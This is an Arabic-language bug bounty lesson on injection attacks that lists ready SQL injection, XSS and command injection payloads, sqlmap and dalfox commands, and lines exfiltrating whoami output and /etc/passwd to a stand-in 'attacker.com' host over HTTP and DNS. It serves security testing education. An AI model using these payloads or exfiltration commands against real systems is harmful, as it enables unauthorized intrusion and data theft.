فئات ثغرات الويب
هجمات الحقن
4 دقيقة للقراءة
الحقن هو رقم 5 في OWASP Top 10:2025 لكنه يبقى عالي التأثير. SQL injection، XSS، وcommand injection يمكن أن تؤدي لانتهاكات البيانات، استيلاء الحسابات، وRCE.
SQL Injection
إدخال المستخدم يُنفذ كاستعلامات SQL:
الكشف
# حمولات اختبار أساسية
' OR '1'='1
" OR "1"="1
' OR '1'='1' --
'; SELECT * FROM users --
1' AND '1'='1
1' AND '1'='2 # قارن الاستجابات
SQLi القائم على الأخطاء
فرض أخطاء لتسريب البيانات:
# MySQL
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a) --
# نسخة أبسط
' AND extractvalue(1,concat(0x7e,(SELECT version())))--
SQLi الأعمى
لا أخطاء مرئية—استنتج من السلوك:
# قائم على Boolean
' AND 1=1 -- # شرط صحيح
' AND 1=2 -- # شرط خاطئ
# قارن اختلافات الاستجابة
# قائم على الوقت
' AND SLEEP(5) -- # MySQL
' AND pg_sleep(5) -- # PostgreSQL
'; WAITFOR DELAY '0:0:5' -- # MSSQL
الاختبار الآلي
# استخدام sqlmap
sqlmap -u "https://example.com/search?q=test" --dbs --batch
# مع طلب ملتقط
sqlmap -r request.txt --dbs --batch
# معامل POST
sqlmap -u "https://example.com/login" --data="user=test&pass=test" -p user
Cross-Site Scripting (XSS)
حقن JavaScript في صفحات الويب:
الأنواع
| النوع | الثبات | مثال |
|---|---|---|
| منعكس | طلب واحد | صفحة نتائج البحث |
| مخزن | قاعدة البيانات | التعليقات، الملفات الشخصية |
| DOM-based | جانب العميل | التلاعب بجزء URL |
حمولات الاختبار
<!-- أساسي -->
<script>alert('XSS')</script>
<!-- معالجات الأحداث -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<!-- تجاوز الفلتر -->
<ScRiPt>alert('XSS')</ScRiPt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="alert('XSS')">
<!-- DOM XSS -->
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>
حمولات خاصة بالسياق
<!-- داخل سمة HTML -->
" onfocus=alert('XSS') autofocus="
<!-- داخل JavaScript -->
';alert('XSS');//
</script><script>alert('XSS')</script>
<!-- داخل معامل URL -->
javascript:alert('XSS')
الأتمتة
# استخدام dalfox
dalfox url "https://example.com/search?q=FUZZ" --blind https://your-callback.com
# URLs متعددة
cat urls.txt | dalfox pipe --blind https://callback.com
Command Injection
أوامر نظام التشغيل تُنفذ عبر التطبيق:
الكشف
# حمولات Linux
; ls -la
| cat /etc/passwd
`whoami`
$(id)
; sleep 10 # قائم على الوقت
# حمولات Windows
& dir
| type C:\Windows\win.ini
; ping -n 10 127.0.0.1 # قائم على الوقت
الدوال الضعيفة الشائعة
| اللغة | الدوال الخطيرة |
|---|---|
| PHP | system()، exec()، shell_exec()، passthru() |
| Python | os.system()، subprocess.call()، eval() |
| Node.js | child_process.exec()، eval() |
| Java | Runtime.exec() |
منهجية الاختبار
# الخطوة 1: ابحث عن إدخال قد يصل لأوامر OS
# - عمليات الملفات (معامل اسم الملف)
# - عمليات الشبكة (hostname، IP)
# - عروض معلومات النظام
# الخطوة 2: اختبر بحمولات قائمة على الوقت
# حقن: ; sleep 10
# إذا استغرقت الاستجابة 10 ثوانٍ = ضعيف
# الخطوة 3: استخرج البيانات
# حقن: ; curl https://attacker.com/$(whoami)
# تحقق من سجلات خادمك
الاختبار خارج النطاق
عندما لا توجد استجابة مباشرة—استخرج عبر DNS/HTTP:
# استخراج DNS
; nslookup $(whoami).attacker.com
# استدعاء HTTP
; curl https://attacker.com/?data=$(cat /etc/passwd | base64)
# استخدام Burp Collaborator
; nslookup <burp-collaborator-id>.burpcollaborator.net
أمثلة مكافآت من العالم الحقيقي
| النوع | الشركة | التأثير | المكافأة |
|---|---|---|---|
| SQLi | Yahoo | الوصول لقاعدة البيانات | 10,000 دولار |
| Stored XSS | استيلاء على الحساب | 7,500 دولار | |
| Command Injection | Netflix | RCE على الخادم | 15,000 دولار |
| Blind SQLi | Uber | استخراج بيانات المستخدمين | 5,000 دولار |
نصائح الاختبار
- اختبر كل إدخال: حقول النماذج، الرؤوس، الكوكيز، معاملات URL
- تحقق من سياقات مختلفة: HTML، JS، SQL، الأوامر
- استخدم الترميز: URL-encode، HTML-encode الحمولات
- سلسل الثغرات: XSS + CSRF = استيلاء على الحساب
نصيحة احترافية: WAFs الحديثة تحظر الحمولات الأساسية. تعلم حيل الترميز وتجاوزات خاصة بالسياق.
في الدرس التالي، سنستكشف ثغرات المصادقة والجلسة. :::